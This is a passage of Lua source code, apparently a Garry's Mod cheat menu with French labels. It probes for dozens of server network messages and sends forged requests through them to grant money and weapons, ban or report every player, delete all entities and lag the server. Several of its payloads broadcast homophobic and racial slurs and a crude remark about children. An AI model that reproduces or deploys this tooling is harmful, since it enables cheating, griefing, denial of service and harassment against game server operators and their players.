7297net.SendToServer()
7298net.Start("IS_GetReward_C2S")
7299net.SendToServer()
7300end )
7301end
7302
7303status = ValidNetString("AcceptBailOffer")
7304if (status) then
7305CHATPRINT("Exploit Trouvé : Bail Offer Exploit [AcceptBailOffer]")
7306addExploit( "182","Bail Offer Exploit", "", function()
7307surface.PlaySound("garrysmod/ui_click.wav")
7308NOTIFICATION("Starting")
7309for k,v in pairs(player.GetAll()) do
7310net.Start("AcceptBailOffer")
7311net.WriteEntity(v)
7312net.WriteUInt(-100000000000000000, 16 )
7313net.SendToServer()
7314end
7315end )
7316end
7317
7318status = ValidNetString("CP_Test_Results")
7319if (status) then
7320CHATPRINT("Exploit Trouvé : CP Bypass [CP_Test_Results]")
7321addExploit( "183","CP Bypass", "", function()
7322surface.PlaySound("garrysmod/ui_click.wav")
7323NOTIFICATION("Starting")
7324net.Start("CP_Test_Results")
7325net.WriteInt(1 ,8)
7326net.SendToServer()
7327end )
7328end
7329
7330status = ValidNetString("ReSpawn")
7331if (status) then
7332CHATPRINT("Exploit Trouvé : Respawn #4 [ReSpawn]")
7333addExploit( "184","Respawn #4", "just respawn", function()
7334surface.PlaySound("garrysmod/ui_click.wav")
7335NOTIFICATION("Starting")
7336net.Start("ReSpawn")
7337net.SendToServer()
7338end )
7339end
7340
7341status = ValidNetString("FIGHTCLUB_KickPlayer")
7342if (status) then
7343CHATPRINT("Exploit Trouvé : Fight Club Kick [FIGHTCLUB_KickPlayer]")
7344addExploit( "185","Fight Club Kick", "", function()
7345surface.PlaySound("garrysmod/ui_click.wav")
7346NOTIFICATION("Starting")
7347for k,v in pairs(player.GetAll()) do
7348net.Start("FIGHTCLUB_KickPlayer")
7349net.WriteBit(v)
7350net.WriteEntity(v)
7351net.SendToServer()
7352end
7353end )
7354end
7355
7356status = ValidNetString("FIGHTCLUB_StartFight")
7357if (status) then
7358CHATPRINT("Exploit Trouvé : Fight Club [FIGHTCLUB_StartFight]")
7359addExploit( "186","Fight Club Start Fight", "", function()
7360surface.PlaySound("garrysmod/ui_click.wav")
7361NOTIFICATION("Starting")
7362for k,v in pairs(player.GetAll()) do
7363net.Start("FIGHTCLUB_StartFight")
7364net.WriteEntity(v)
7365net.SendToServer()
7366end
7367end )
7368end
7369
7370status = ValidNetString("IveBeenRDMed")
7371if (status) then
7372CHATPRINT("Exploit Trouvé : Fake RDM [IveBeenRDMed]")
7373addExploit( "187","Fake RDM", "", function()
7374surface.PlaySound("garrysmod/ui_click.wav")
7375NOTIFICATION("Starting")
7376for k,v in pairs(player.GetAll()) do
7377net.Start("IveBeenRDMed")
7378net.WriteEntity(v)
7379net.SendToServer()
7380end
7381end )
7382end
7383
7384status = ValidNetString("nCTieUpStart")
7385if (status) then
7386CHATPRINT("Exploit Trouvé : Combine Control Exploit [nCTieUpStart]")
7387addExploit( "188","Combine Control Exploit", "", function()
7388surface.PlaySound("garrysmod/ui_click.wav")
7389NOTIFICATION("Starting")
7390for k,v in pairs(ents.GetAll()) do
7391net.Start("nCTieUpStart")
7392net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7393net.SendToServer()
7394end
7395end )
7396end
7397
7398status = ValidNetString("DestroyTable")
7399if (status) then
7400CHATPRINT("Exploit Trouvé : Fuck All [DestroyTable]")
7401addExploit( "189","Fuck All", "discovered by Leith", function()
7402surface.PlaySound("garrysmod/ui_click.wav")
7403NOTIFICATION("Starting")
7404for k,v in pairs(ents.GetAll()) do
7405net.Start("DestroyTable")
7406net.WriteEntity(v)
7407net.SendToServer()
7408end
7409end )
7410end
7411
7412status = ValidNetString("start_wd_hack")
7413if (status) then
7414CHATPRINT("Exploit Trouvé : Hack Phone Exploit [start_wd_hack]")
7415addExploit( "190","Hack Phone Exploit", "", function()
7416surface.PlaySound("garrysmod/ui_click.wav")
7417NOTIFICATION("Starting")
7418net.Start("start_wd_hack")
7419net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7420net.SendToServer()
7421end )
7422end
7423
7424status = ValidNetString("bringNfreeze")
7425if (status) then
7426CHATPRINT("Exploit Trouvé : Ban Exploit [bringNfreeze]")
7427addExploit( "191","Ban Exploit", "", function()
7428surface.PlaySound("garrysmod/ui_click.wav")
7429NOTIFICATION("Starting")
7430for k,v in pairs(player.GetAll()) do
7431net.Start('bringNfreeze')
7432net.WriteEntity(self)
7433net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7434net.SendToServer()
7435end
7436end )
7437end
7438
7439status = ValidNetString("JoinFirstSS")
7440if (status) then
7441CHATPRINT("Exploit Trouvé : Join First SS [JoinFirstSS]")
7442addExploit( "192","Join First SS", "", function()
7443surface.PlaySound("garrysmod/ui_click.wav")
7444NOTIFICATION("Starting")
7445net.Start("JoinFirstSS")
7446net.WriteEntity(LocalPlayer())
7447net.SendToServer()
7448end )
7449end
7450
7451status = ValidNetString("unarrestPerson")
7452if (status) then
7453CHATPRINT("Exploit Trouvé : Unarrest Person [unarrestPerson]")
7454addExploit( "193","Unarrest Person", "", function()
7455surface.PlaySound("garrysmod/ui_click.wav")
7456NOTIFICATION("Starting")
7457for k,v in pairs(player.GetAll()) do
7458net.Start("unarrestPerson")
7459net.WriteEntity(v)
7460net.SendToServer()
7461end
7462end )
7463end
7464
7465status = ValidNetString("giveArrestReason")
7466if (status) then
7467CHATPRINT("Exploit Trouvé : Give Arrest Reason [giveArrestReason]")
7468addExploit( "194","Give Arrest Reason", "", function()
7469surface.PlaySound("garrysmod/ui_click.wav")
7470NOTIFICATION("Starting")
7471for k,v in pairs(player.GetAll()) do
7472net.Start("giveArrestReason")
7473net.WriteEntity(LocalPlayer())
7474net.WriteEntity(v)
7475net.WriteString("Faggot")
7476net.SendToServer()
7477end
7478end )
7479end
7480
7481status = ValidNetString("sellitem")
7482if (status) then
7483CHATPRINT("Exploit Trouvé : Argent Gratuite #24 [sellitem]")
7484addExploit( "195","Argent Gratuite #24", "", function()
7485surface.PlaySound("garrysmod/ui_click.wav")
7486NOTIFICATION("Starting")
7487net.Start("sellitem")
7488net.WriteString(self)
7489net.WriteEntity(LocalPlayer())
7490net.SendToServer()
7491end )
7492end
7493
7494status = ValidNetString("createFaction")
7495if (status) then
7496CHATPRINT("Exploit Trouvé : Create Faction [createFaction]")
7497addExploit( "196","Create Faction", "", function()
7498surface.PlaySound("garrysmod/ui_click.wav")
7499NOTIFICATION("Starting")
7500for k,v in pairs(player.GetAll()) do
7501net.Start("createFaction")
7502net.WriteEntity(v)
7503net.WriteString("I FUCKED SO MANY BABIES TODAY WOOOOOOOOOOOOOOOOOOOOOOOO")
7504net.SendToServer()
7505end
7506end )
7507end
7508
7509status = ValidNetString("inviteToOrganization")
7510if (status) then
7511CHATPRINT("Exploit Trouvé : Faction Invite All [inviteToOrganization]")
7512addExploit( "197","Faction Invite All", "", function()
7513surface.PlaySound("garrysmod/ui_click.wav")
7514NOTIFICATION("Starting")
7515for k,v in pairs(player.GetAll()) do
7516net.Start("inviteToOrganization")
7517net.WriteEntity(v)
7518net.WriteEntity(LocalPlayer())
7519net.SendToServer()
7520end
7521end )
7522end
7523
7524status = ValidNetString("GovStation_SpawnVehicle")
7525if (status) then
7526CHATPRINT("Exploit Trouvé : Gov Spawn [GovStation_SpawnVehicle]")
7527addExploit( "198","Gov Spawn", "", function()
7528surface.PlaySound("garrysmod/ui_click.wav")
7529NOTIFICATION("Starting")
7530for k,v in pairs(ents.GetAll()) do
7531net.Start("GovStation_SpawnVehicle")
7532net.WriteString("GOV_POLICE")
7533net.SendToServer()
7534end
7535end )
7536end
7537
7538status = ValidNetString("GiveWeapon")
7539if (status) then
7540CHATPRINT("Exploit Trouvé : Give Weapons #3 [GiveWeapon]")
7541addExploit( "199","Give Weapons #3", "get weapons", function()
7542surface.PlaySound("garrysmod/ui_click.wav")
7543NOTIFICATION("Starting")
7544net.Start("GiveWeapon")
7545net.WriteEntity(LocalPlayer())
7546net.WriteString("m9k_davy_crockett")
7547net.WriteFloat(0)
7548net.SendToServer()
7549end )
7550end
7551
7552status = ValidNetString("DailyLoginClaim")
7553if (status) then
7554CHATPRINT("Exploit Trouvé : Daily Login Reward [DailyLoginClaim]")
7555addExploit( "200","Daily Login Reward", "", function()
7556surface.PlaySound("garrysmod/ui_click.wav")
7557NOTIFICATION("Starting")
7558net.Start("DailyLoginClaim")
7559net.SendToServer()
7560end )
7561end
7562
7563status = ValidNetString("DL_AskLogsList")
7564if (status) then
7565CHATPRINT("Exploit Trouvé : Ask Log List [DL_AskLogsList]")
7566addExploit( "201","Ask Log List", "", function()
7567surface.PlaySound("garrysmod/ui_click.wav")
7568NOTIFICATION("Starting")
7569net.Start("DL_AskLogsList")
7570net.SendToServer()
7571end )
7572end
7573
7574status = ValidNetString("DL_StartReport")
7575if (status) then
7576CHATPRINT("Exploit Trouvé : DL Report Tout Le Monde [DL_StartReport | DL_ReportPlayer]")
7577addExploit( "202","DL Report Tout Le Monde", "", function()
7578surface.PlaySound("garrysmod/ui_click.wav")
7579NOTIFICATION("Starting")
7580for k,v in pairs(player.GetAll()) do
7581net.Start("DL_StartReport")
7582net.SendToServer()
7583net.Start("DL_ReportPlayer")
7584net.WriteEntity(v)
7585net.WriteString("Hes being a gay faggot plz ban him")
7586net.SendToServer()
7587end
7588end )
7589end
7590
7591status = ValidNetString("sv_saveweapons")
7592if (status) then
7593CHATPRINT("Exploit Trouvé : TTT Weapons Exploit [sv_saveweapons]")
7594addExploit( "203","DL Report Tout Le Monde", "", function()
7595surface.PlaySound("garrysmod/ui_click.wav")
7596NOTIFICATION("Starting")
7597net.Start("sv_saveweapons")
7598net.WriteString("weapon_ttt_rpg")
7599net.WriteString("weapon_ttt_rpg")
7600net.WriteString("eg")
7601net.SendToServer()
7602end )
7603end
7604
7605status = ValidNetString("SpecDM_SendLoadout")
7606if (status) then
7607CHATPRINT("Exploit Trouvé : SpecDM Exploit [SpecDM_SendLoadout]")
7608addExploit( "204","SpecDM Exploit", "", function()
7609surface.PlaySound("garrysmod/ui_click.wav")
7610NOTIFICATION("Starting")
7611net.Start("SpecDM_SendLoadout")
7612net.WriteString("eg")
7613net.WriteString("weapon_ttt_defib")
7614net.SendToServer()
7615end )
7616end
7617
7618status = ValidNetString("PowerRoundsForcePR")
7619if (status) then
7620CHATPRINT("Exploit Trouvé : Power Rounds Force [PowerRoundsForcePR]")
7621addExploit( "205","Power Rounds Force", "", function()
7622surface.PlaySound("garrysmod/ui_click.wav")
7623NOTIFICATION("Starting")
7624net.Start("PowerRoundsForcePR")
7625net.SendToServer()
7626end )
7627end
7628
7629status = ValidNetString("wyozimc_playply")
7630if (status) then
7631CHATPRINT("Exploit Trouvé : Wyozimc Music Exploit [wyozimc_playply]")
7632addExploit( "206","Wyozimc Music Exploit", "", function()
7633surface.PlaySound("garrysmod/ui_click.wav")
7634NOTIFICATION("Starting")
7635for k,v in pairs(player.GetAll()) do
7636net.Start("wyozimc_playply")
7637net.WriteEntity(v)
7638net.WriteString("https://www.youtube.com/watch?v=2fSeiKs6MYY")
7639net.SendToServer()
7640end
7641end )
7642end
7643
7644status = ValidNetString("SendSteamID")
7645if (status) then
7646CHATPRINT("Exploit Trouvé : Envoyez Mail's [SendSteamID]")
7647addExploit( "207","Envoyez Mail's", "", function()
7648surface.PlaySound("garrysmod/ui_click.wav")
7649NOTIFICATION("Starting")
7650for k,v in pairs(player.GetAll()) do
7651net.Start("SendSteamID")
7652net.WriteEntity(v)
7653net.WriteString("Faggot")
7654net.WriteString("Faggot")
7655net.SendToServer()
7656end
7657end )
7658end
7659
7660status = ValidNetString("JB_GiveCubics")
7661if (status) then
7662CHATPRINT("Exploit Trouvé : Give Cubics All [JB_GiveCubics]")
7663addExploit( "208","Give Cubics All", "", function()
7664surface.PlaySound("garrysmod/ui_click.wav")
7665NOTIFICATION("Starting")
7666for k,v in pairs(player.GetAll()) do
7667net.Start("JB_GiveCubics")
7668net.WriteEntity(v)
7669net.WriteInt(math.floor(dwang:GetValue()), 255)
7670net.SendToServer()
7671end
7672end )
7673end
7674
7675status = ValidNetString("JB_SelectWarden")
7676if (status) then
7677CHATPRINT("Exploit Trouvé : Select Warden All [JB_SelectWarden]")
7678addExploit( "209","Select Warden All", "", function()
7679surface.PlaySound("garrysmod/ui_click.wav")
7680NOTIFICATION("Starting")
7681for k,v in pairs(player.GetAll()) do
7682net.Start("JB_SelectWarden")
7683net.WriteEntity(v)
7684net.SendToServer()
7685end
7686end )
7687end
7688
7689status = ValidNetString("RDMReason_Explain")
7690if (status) then
7691CHATPRINT("Exploit Trouvé : RDM Explain [RDMReason_Explain]")
7692addExploit( "210","RDM Explain", "", function()
7693surface.PlaySound("garrysmod/ui_click.wav")
7694NOTIFICATION("Starting")
7695for k,v in pairs(player.GetAll()) do
7696net.Start("RDMReason_Explain")
7697net.WriteTable({id=v, reason=fgt})
7698net.SendToServer()
7699end
7700end )
7701end
7702
7703status = ValidNetString("redirectMsg")
7704if (status) then
7705CHATPRINT("Exploit Trouvé : Redirect Message [redirectMsg]")
7706addExploit( "211","Redirect Message", "", function()
7707surface.PlaySound("garrysmod/ui_click.wav")
7708NOTIFICATION("Starting")
7709net.Start("redirectMsg")
7710net.WriteString("Fuck you! YOUR ALL FAGGOTS!")
7711net.SendToServer()
7712end )
7713end
7714
7715status = ValidNetString("LB_AddBan")
7716if (status) then
7717CHATPRINT("Exploit Trouvé : LB Ban [LB_AddBan]")
7718addExploit( "212","LB Ban", "", function()
7719surface.PlaySound("garrysmod/ui_click.wav")
7720NOTIFICATION("Starting")
7721for k,v in pairs(player.GetAll()) do
7722if v != LocalPlayer() then
7723net.Start("LB_AddBan")
7724net.WriteString("STEAM_0:0:71238382")
7725net.WriteString("fgt")
7726net.SendToServer()
7727end
7728end
7729end )
7730end
7731
7732status = ValidNetString("GET_Admin_MSGS")
7733if (status) then
7734CHATPRINT("Exploit Trouvé : Brass Admin Chat [GET_Admin_MSGS | OPEN_ADMIN_CHAT]")
7735addExploit( "213","Brass Admin Chat", "", function()
7736surface.PlaySound("garrysmod/ui_click.wav")
7737NOTIFICATION("Starting")
7738net.Start("GET_Admin_MSGS")
7739net.SendToServer()
7740net.Start("OPEN_ADMIN_CHAT")
7741net.SendToServer()
7742end )
7743end
7744
7745status = ValidNetString("br_send_pm")
7746if (status) then
7747CHATPRINT("Exploit Trouvé : Brass Email Send All [br_send_pm]")
7748addExploit( "214","Brass Email Send All", "", function()
7749surface.PlaySound("garrysmod/ui_click.wav")
7750NOTIFICATION("Starting")
7751for k,v in pairs(player.GetAll()) do
7752if v != LocalPlayer() then
7753net.Start("br_send_pm")
7754net.WriteString(v)
7755net.WriteString("FGT")
7756net.WriteEntity(v)
7757net.SendToServer()
7758end
7759end
7760end )
7761end
7762
7763status = ValidNetString("LAWYER.BailFelonOut")
7764if (status) then
7765CHATPRINT("Exploit Trouvé : Libérer Prison [LAWYER.BailFelonOut]")
7766addExploit( "215","Bail Felon Out", "", function()
7767surface.PlaySound("garrysmod/ui_click.wav")
7768NOTIFICATION("Starting")
7769net.Start("LAWYER.BailFelonOut")
7770net.WriteString("1")
7771net.WriteString("fgt")
7772net.SendToServer()
7773end )
7774end
7775
7776status = ValidNetString("LAWYER.GetBailOut")
7777if (status) then
7778CHATPRINT("Exploit Trouvé : Libérer Prison [LAWYER.GetBailOut]")
7779addExploit( "216","Get Bail Out", "", function()
7780surface.PlaySound("garrysmod/ui_click.wav")
7781NOTIFICATION("Starting")
7782net.Start("LAWYER.GetBailOut")
7783net.WriteString("Mick")
7784net.WriteString("Mick")
7785net.WriteString("1000000")
7786net.SendToServer()
7787end )
7788end
7789
7790status = ValidNetString("GrabMoney")
7791if (status) then
7792CHATPRINT("Exploit Trouvé : Libérer Prison [GrabMoney]")
7793addExploit( "217","Get Bail Out", "", function()
7794surface.PlaySound("garrysmod/ui_click.wav")
7795NOTIFICATION("Starting")
7796for k,v in pairs(ents.GetAll()) do
7797if v:GetClass() == "gold" then
7798if v:GetClass() == "silver" then
7799if v:GetClass() == "vip" then
7800if v:GetClass() == "vipgold" then
7801net.Start("GrabMoney")
7802net.WriteEntity(LocalPlayer())
7803net.SendToServer()
7804end
7805end
7806end
7807end
7808end
7809end )
7810end
7811
7812status = ValidNetString("nox_addpremadepunishment")
7813if (status) then
7814CHATPRINT("Exploit Trouvé : Nox Ban [nox_addpremadepunishment]")
7815addExploit( "218","Nox Ban", "", function()
7816surface.PlaySound("garrysmod/ui_click.wav")
7817NOTIFICATION("Starting")
7818for k,v in pairs(player.GetAll()) do
7819if v != LocalPlayer() then
7820net.Start("nox_addpremadepunishment")
7821net.WriteEntity("Sun")
7822net.WriteUInt(2, 8)
7823net.SendToServer()
7824end
7825end
7826end )
7827end
7828
7829status = ValidNetString("NET_CR_TakeStoredMoney")
7830if (status) then
7831CHATPRINT("Exploit Trouvé : Voler L'argent Du Registre [NET_CR_TakeStoredMoney]")
7832addExploit( "219","Steal Registry Money", "", function()
7833surface.PlaySound("garrysmod/ui_click.wav")
7834NOTIFICATION("Starting")
7835for k,v in pairs(ents.GetAll()) do
7836if v:GetClass() == "ss_cash_registry" then
7837net.Start('NET_CR_TakeStoredMoney')
7838net.WriteEntity("ss_cash_registry")
7839net.WriteEntity(LocalPlayer())
7840net.SendToServer()
7841end
7842end
7843end )
7844end
7845
7846status = ValidNetString("HV_AmmoBuy")
7847if (status) then
7848CHATPRINT("Exploit Trouvé : HV Munitions Gratuites [HV_AmmoBuy]")
7849addExploit( "220","HV Munitions Gratuites", "", function()
7850surface.PlaySound("garrysmod/ui_click.wav")
7851NOTIFICATION("Starting")
7852net.Start("HV_AmmoBuy")
7853net.WriteFloat("2")
7854net.SendToServer()
7855net.Start("HV_AmmoBuy")
7856net.WriteFloat("1")
7857net.SendToServer()
7858end )
7859end
7860
7861status = ValidNetString("hitcomplete")
7862if (status) then
7863CHATPRINT("Exploit Trouvé : Argent Gratuite [hitcomplete]")
7864addExploit( "221","Super RP Hit", "", function()
7865surface.PlaySound("garrysmod/ui_click.wav")
7866NOTIFICATION("Starting")
7867for k,v in pairs(player.GetAll()) do
7868if v != LocalPlayer() then
7869net.Start("hitcomplete")
7870net.WriteEntity(v)
7871net.SendToServer()
7872end
7873end
7874end )
7875end
7876
7877status = ValidNetString("SyncRemoveAction")
7878if (status) then
7879CHATPRINT("Exploit Trouvé : Supprimer Tout [SyncRemoveAction]")
7880addExploit( "222","Remove All", "", function()
7881surface.PlaySound("garrysmod/ui_click.wav")
7882NOTIFICATION("Starting")
7883for k,v in pairs(ents.GetAll()) do
7884net.Start("SyncRemoveAction")
7885net.WriteEntity(v)
7886net.SendToServer()
7887end
7888end )
7889end
7890
7891status = ValidNetString("TMC_NET_MakePlayerWanted")
7892if (status) then
7893CHATPRINT("Exploit Trouvé : Mettre Un Avis De Recherche Global [TMC_NET_MakePlayerWanted]")
7894addExploit( "223","Make All Wanted", "", function()
7895surface.PlaySound("garrysmod/ui_click.wav")
7896NOTIFICATION("Starting")
7897for k,v in pairs(player.GetAll()) do
7898net.Start("TMC_NET_MakePlayerWanted")
7899net.WriteString("bad")
7900net.WriteString("bad")
7901net.SendToServer()
7902end
7903end )
7904end
7905
7906status = ValidNetString("thiefnpc")
7907if (status) then
7908CHATPRINT("Exploit Trouvé : Thief NPC [thiefnpc]")
7909addExploit( "224","Thief NPC", "", function()
7910surface.PlaySound("garrysmod/ui_click.wav")
7911NOTIFICATION("Starting")
7912net.Start('thiefnpc')
7913net.WriteDouble(-99999999999999999)
7914net.SendToServer()
7915end )
7916end
7917
7918status = ValidNetString("TMC_NET_FirePlayer")
7919if (status) then
7920CHATPRINT("Exploit Trouvé : Fire Player [TMC_NET_FirePlayer]")
7921addExploit( "225","Fire Player", "", function()
7922surface.PlaySound("garrysmod/ui_click.wav")
7923NOTIFICATION("Starting")
7924net.Start("TMC_NET_FirePlayer")
7925net.WriteString("Paypal")
7926net.SendToServer()
7927end )
7928end
7929
7930status = ValidNetString("updateLaws")
7931if (status) then
7932CHATPRINT("Exploit Trouvé : Update Laws [updateLaws]")
7933addExploit( "226","Update Laws", "", function()
7934surface.PlaySound("garrysmod/ui_click.wav")
7935NOTIFICATION("Starting")
7936net.Start("updateLaws")
7937net.WriteString("Bitch")
7938net.SendToServer()
7939end )
7940end
7941
7942status = ValidNetString("LotteryMenu")
7943if (status) then
7944CHATPRINT("Exploit Trouvé : Argent Gratuite #25 [LotteryMenu]")
7945addExploit( "227","Argent Gratuite #25", "", function()
7946surface.PlaySound("garrysmod/ui_click.wav")
7947NOTIFICATION("Starting")
7948net.Start("LotteryMenu")
7949net.WriteEntity(LocalPlayer())
7950net.WriteInt(1000000000000000000, 16)
7951net.SendToServer()
7952end )
7953end
7954
7955status = ValidNetString("soundArrestCommit")
7956if (status) then
7957CHATPRINT("Exploit Trouvé : Sound Arrest [soundArrestCommit]")
7958addExploit( "228","Sound Arrest", "", function()
7959surface.PlaySound("garrysmod/ui_click.wav")
7960NOTIFICATION("Starting")
7961net.Start("soundArrestCommit")
7962net.WriteString("Shit")
7963net.SendToServer()
7964end )
7965end
7966
7967status = ValidNetString("hoverboardpurchase")
7968if (status) then
7969CHATPRINT("Exploit Trouvé : Hover Board [hoverboardpurchase]")
7970addExploit( "229","Hover Board", "", function()
7971surface.PlaySound("garrysmod/ui_click.wav")
7972NOTIFICATION("Starting")
7973net.Start("hoverboardpurchase")
7974net.WriteInt(8, 32)
7975net.SendToServer()
7976end )
7977end
7978
7979status = ValidNetString("SpawnProtection")
7980if (status) then
7981CHATPRINT("Exploit Trouvé : Off Spawn Protection [SpawnProtection]")
7982addExploit( "230","Off Spawn Protection", "", function()
7983surface.PlaySound("garrysmod/ui_click.wav")
7984NOTIFICATION("Starting")
7985net.Start("SpawnProtection")
7986net.WriteFloat(0)
7987net.SendToServer()
7988end )
7989end
7990
7991status = ValidNetString("NPCShop_BuyItem")
7992if (status) then
7993CHATPRINT("Exploit Trouvé : NPC Shop [NPCShop_BuyItem]")
7994addExploit( "231","NPC Shop", "", function()
7995surface.PlaySound("garrysmod/ui_click.wav")
7996NOTIFICATION("Starting")
7997net.Start("NPCShop_BuyItem")
7998net.WriteString("weapon_hack_phone")
7999net.SendToServer()
8000end )
8001end
8002
8003status = ValidNetString("CubeRiot CaptureZone Update")
8004if (status) then
8005CHATPRINT("Exploit Trouvé : CubeRiot Exploit [CubeRiot CaptureZone Update]")
8006addExploit( "232","CubeRiot Exploit", "", function()
8007surface.PlaySound("garrysmod/ui_click.wav")
8008NOTIFICATION("Starting")
8009net.Start("CubeRiot CaptureZone Update")
8010net.WriteUInt( 1, 8 )
8011net.WriteVector( "2654.989258 2254.119629 -139.968750" )
8012net.WriteVector( "2654.989258 2254.119629 -139.968750" )
8013net.SendToServer()
8014end )
8015end
8016
8017status = ValidNetString("deposit")
8018if (status) then
8019CHATPRINT("Exploit Trouvé : Argent Gratuite #26 [deposit]")
8020addExploit( "233","Argent Gratuite #26", "", function()
8021surface.PlaySound("garrysmod/ui_click.wav")
8022NOTIFICATION("Starting")
8023net.Start("deposit")
8024net.WriteString("-10000000000000000000000")
8025net.SendToServer()
8026end )
8027end
8028
8029status = ValidNetString("AcceptRequest")
8030if (status) then
8031CHATPRINT("Exploit Trouvé : Call Exploit [AcceptRequest]")
8032addExploit( "234","Call Exploit", "", function()
8033surface.PlaySound("garrysmod/ui_click.wav")
8034NOTIFICATION("Starting")
8035for k,v in pairs(player.GetAll()) do
8036net.Start("AcceptRequest")
8037net.WriteEntity(v)
8038net.SendToServer()
8039end
8040end )
8041end
8042
8043status = ValidNetString("Chess ClientWager")
8044if (status) then
8045CHATPRINT("Exploit Trouvé : Chess Exploit [Chess ClientWager | Chess ClientResign]")
8046addExploit( "235","Chess Exploit", "", function()
8047surface.PlaySound("garrysmod/ui_click.wav")
8048NOTIFICATION("Starting")
8049net.Start("Chess ClientWager")
8050net.WriteUInt( -999999999999999999999999999, 24 )
8051net.SendToServer()
8052net.Start("Chess ClientResign")
8053net.SendToServer()
8054end )
8055end
8056
8057status = ValidNetString("netOrgVoteInvite_Server")
8058if (status) then
8059CHATPRINT("Exploit Trouvé : Org Invite All [netOrgVoteInvite_Server]")
8060addExploit( "236","Org Invite All", "", function()
8061surface.PlaySound("garrysmod/ui_click.wav")
8062NOTIFICATION("Starting")
8063for k,v in pairs(player.GetAll()) do
8064net.Start("netOrgVoteInvite_Server")
8065net.WriteEntity(v)
8066net.SendToServer()
8067end
8068end )
8069end
8070
8071
8072status = ValidNetString("donatorshop_itemtobuy")
8073if (status) then
8074CHATPRINT("Exploit Trouvé : Donator Box Exploit [donatorshop_itemtobuy]")
8075addExploit( "237","Donator Box Exploit", "", function()
8076surface.PlaySound("garrysmod/ui_click.wav")
8077NOTIFICATION("Starting")
8078net.Start("donatorshop_itemtobuy")
8079net.WriteString("DonatorShopBuyTripwire")
8080net.SendToServer()
8081end )
8082end
8083
8084status = ValidNetString("AskPickupItemInv")
8085if (status) then
8086CHATPRINT("Exploit Trouvé : Ask Item [AskPickupItemInv]")
8087addExploit( "238","Ask Item", "", function()
8088surface.PlaySound("garrysmod/ui_click.wav")
8089NOTIFICATION("Starting")
8090for k,v in pairs(player.GetAll()) do
8091net.Start("AskPickupItemInv")
8092net.WriteUInt(4,16)
8093net.WriteUInt(1,16)
8094net.SendToServer()
8095end
8096end )
8097end
8098
8099status = ValidNetString("buy_bundle")
8100if (status) then
8101CHATPRINT("Exploit Trouvé : Buy Bundle [buy_bundle]")
8102addExploit( "239","Buy Bundle", "", function()
8103surface.PlaySound("garrysmod/ui_click.wav")
8104NOTIFICATION("Starting")
8105net.Start("buy_bundle")
8106net.WriteFloat(1, 16)
8107net.SendToServer()
8108end )
8109end
8110
8111status = ValidNetString("LawyerOfferBail")
8112if (status) then
8113CHATPRINT("Exploit Trouvé : Lawyer Off Bail [LawyerOfferBail | AcceptBailOffer]")
8114addExploit( "240","Lawyer Off Bail", "", function()
8115surface.PlaySound("garrysmod/ui_click.wav")
8116NOTIFICATION("Starting")
8117for k,v in pairs(player.GetAll()) do
8118net.Start("LawyerOfferBail")
8119net.WriteEntity(v)
8120net.WriteUInt(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
8121net.SendToServer()
8122net.Start("AcceptBailOffer")
8123net.WriteEntity(v)
8124net.WriteUInt(-10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
8125net.SendToServer()
8126end
8127end )
8128end
8129
8130status = ValidNetString("MineServer")
8131if (status) then
8132CHATPRINT("Exploit Trouvé : Lagger #22 [MineServer]")
8133addExploit( "241","Lagger #22", "lags", function()
8134surface.PlaySound("garrysmod/ui_click.wav")
8135NOTIFICATION("Starting")
8136for i = 0, 100 do
8137for k,v in pairs(player.GetAll()) do
8138net.Start("MineServer",true)
8139net.WriteString("sell")
8140net.WriteEntity(v)
8141net.WriteString("Fuck you. Gonna ddos this shitty ass server niggers")
8142net.SendToServer()
8143end
8144end
8145end )
8146end
8147
8148status = ValidNetString("Gb_gasstation_BuyGas")
8149if (status) then
8150CHATPRINT("Exploit Trouvé : Ukrainian gas [Gb_gasstation_BuyGas | Gb_gasstation_BuyJerrycan]")
8151addExploit( "242","Ukrainian gas", "", function()
8152surface.PlaySound("garrysmod/ui_click.wav")
8153NOTIFICATION("Starting")
8154net.Start("Gb_gasstation_BuyGas")
8155net.SendToServer()
8156net.Start("Gb_gasstation_BuyJerrycan")
8157net.SendToServer()
8158end )
8159end
8160
8161status = ValidNetString("D3A_CreateOrg")
8162if (status) then
8163CHATPRINT("Exploit Trouvé : D3A Create Org [D3A_CreateOrg]")
8164addExploit( "243","D3A Create Org", "", function()
8165surface.PlaySound("garrysmod/ui_click.wav")
8166NOTIFICATION("Starting")
8167net.Start("D3A_CreateOrg")
8168net.WriteString('969690485273489312467812367128312312314')
8169net.WriteString('123712983712984571298712398')
8170net.WriteString("255 255 255")
8171net.SendToServer()
8172end )
8173end
8174
8175status = ValidNetString("Shop_buy")
8176if (status) then
8177CHATPRINT("Exploit Trouvé : SUP Buy Armor [Shop_buy]")
8178addExploit( "244","SUP Buy Armor", "", function()
8179surface.PlaySound("garrysmod/ui_click.wav")
8180NOTIFICATION("Starting")
8181net.Start("Shop_buy")
8182net.WriteString("Armor")
8183net.SendToServer()
8184end )
8185end
8186
8187status = ValidNetString("LawsToServer")
8188if (status) then
8189CHATPRINT("Exploit Trouvé : SUP New Laws [LawsToServer]")
8190addExploit( "245","SUP New Laws", "", function()
8191surface.PlaySound("garrysmod/ui_click.wav")
8192NOTIFICATION("Starting")
8193net.Start("LawsToServer")
8194net.WriteString("FAGGOTS")
8195net.SendToServer()
8196end )
8197end
8198
8199status = ValidNetString("D3A_Message")
8200if (status) then
8201CHATPRINT("Exploit Trouvé : D3A Message [D3A_Message]")
8202addExploit( "246","D3A Message", "", function()
8203surface.PlaySound("garrysmod/ui_click.wav")
8204NOTIFICATION("Starting")
8205local stuff = {
8206
8207}
8208net.Start("D3A_Message")
8209net.WriteString("FAGGOTS")
8210net.WriteTable(stuff)
8211net.SendToServer()
8212end )
8213end
8214
8215status = ValidNetString("misswd_accept")
8216if (status) then
8217CHATPRINT("Exploit Trouvé : Misswd Accept [misswd_accept]")
8218addExploit( "247","Misswd Accept", "", function()
8219surface.PlaySound("garrysmod/ui_click.wav")
8220NOTIFICATION("Starting")
8221for k,v in pairs(player.GetAll()) do
8222for i = 0, 100 do
8223net.Start("misswd_accept")
8224net.WriteEntity(v)
8225net.SendToServer()
8226end
8227end
8228end )
8229end
8230
8231status = ValidNetString("ScannerMenu")
8232if (status) then
